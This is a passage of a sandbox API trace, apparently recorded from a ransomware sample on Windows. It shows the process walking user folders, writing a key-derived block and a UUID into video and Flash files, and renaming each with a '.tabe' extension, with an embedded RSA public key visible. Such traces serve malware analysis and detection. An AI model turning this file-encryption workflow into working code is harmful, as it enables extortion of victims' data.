[0127.584] CloseHandle (hObject=0x618) returned 1 [0127.585] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\s1LPwd2uId.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\s1lpwd2uid.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\s1LPwd2uId.avi.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\s1lpwd2uid.avi.tabe")) returned 1 [0127.586] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e29c0, ftCreationTime.dwHighDateTime=0x1d5df8d, ftLastAccessTime.dwLowDateTime=0xa50a88d0, ftLastAccessTime.dwHighDateTime=0x1d5e25b, ftLastWriteTime.dwLowDateTime=0xa50a88d0, ftLastWriteTime.dwHighDateTime=0x1d5e25b, nFileSizeHigh=0x0, nFileSizeLow=0x987d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SmWarRMIqOReOJZwgz8m.swf", cAlternateFileName="SMWARR~1.SWF")) returned 1 [0127.586] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\SmWarRMIqOReOJZwgz8m.swf") returned=".swf" [0127.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\SmWarRMIqOReOJZwgz8m.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\smwarrmiqoreojzwgz8m.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.587] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=39037) returned 1 [0127.587] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.588] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x9857, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.588] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.589] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x987d, lpOverlapped=0x0) returned 1 [0127.590] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.590] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.590] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.590] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0127.590] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.590] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.590] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.591] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.591] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.591] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0127.591] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.591] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.591] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.591] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3af1b48, Size=0x218) returned 0x3af8038 [0127.591] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x987d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.591] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.591] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.592] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.592] CloseHandle (hObject=0x618) returned 1 [0127.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\SmWarRMIqOReOJZwgz8m.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\smwarrmiqoreojzwgz8m.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\LWdYNCSp0w4\\VDxk_EvzygJU\\SmWarRMIqOReOJZwgz8m.swf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\lwdyncsp0w4\\vdxk_evzygju\\smwarrmiqoreojzwgz8m.swf.tabe")) returned 1 [0127.594] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e29c0, ftCreationTime.dwHighDateTime=0x1d5df8d, ftLastAccessTime.dwLowDateTime=0xa50a88d0, ftLastAccessTime.dwHighDateTime=0x1d5e25b, ftLastWriteTime.dwLowDateTime=0xa50a88d0, ftLastWriteTime.dwHighDateTime=0x1d5e25b, nFileSizeHigh=0x0, nFileSizeLow=0x987d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="SmWarRMIqOReOJZwgz8m.swf", cAlternateFileName="SMWARR~1.SWF")) returned 0 [0127.594] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.594] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.594] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.594] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0127.594] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.594] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.594] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.594] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.594] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.594] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.594] PathFindFileNameW (pszPath="") returned="" [0127.594] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.594] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.594] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="10.0", cAlternateFileName="")) returned 1 [0127.594] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="10.0", cAlternateFileName="")) returned 0 [0127.595] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.595] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.595] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0127.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0127.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.595] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.595] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.595] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.595] PathFindFileNameW (pszPath="") returned="" [0127.595] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.595] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.595] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 1 [0127.595] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Dictionaries", cAlternateFileName="DICTIO~1")) returned 0 [0127.595] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.596] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.596] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.596] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0127.596] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.596] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.596] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.596] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.596] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.596] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.596] PathFindFileNameW (pszPath="") returned="" [0127.596] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.597] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.597] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Content", cAlternateFileName="")) returned 1 [0127.597] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MetaData", cAlternateFileName="")) returned 1 [0127.597] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MetaData", cAlternateFileName="")) returned 0 [0127.597] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.597] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.597] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.597] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\") returned="IME12\\" [0127.597] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.597] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.597] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.597] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.597] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.597] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.597] PathFindFileNameW (pszPath="") returned="" [0127.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.599] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.599] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 0 [0127.599] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0127.599] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0127.599] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0127.600] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0127.600] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.600] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.600] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.600] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.600] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.600] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.600] PathFindFileNameW (pszPath="") returned="" [0127.600] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0127.600] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0127.600] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, 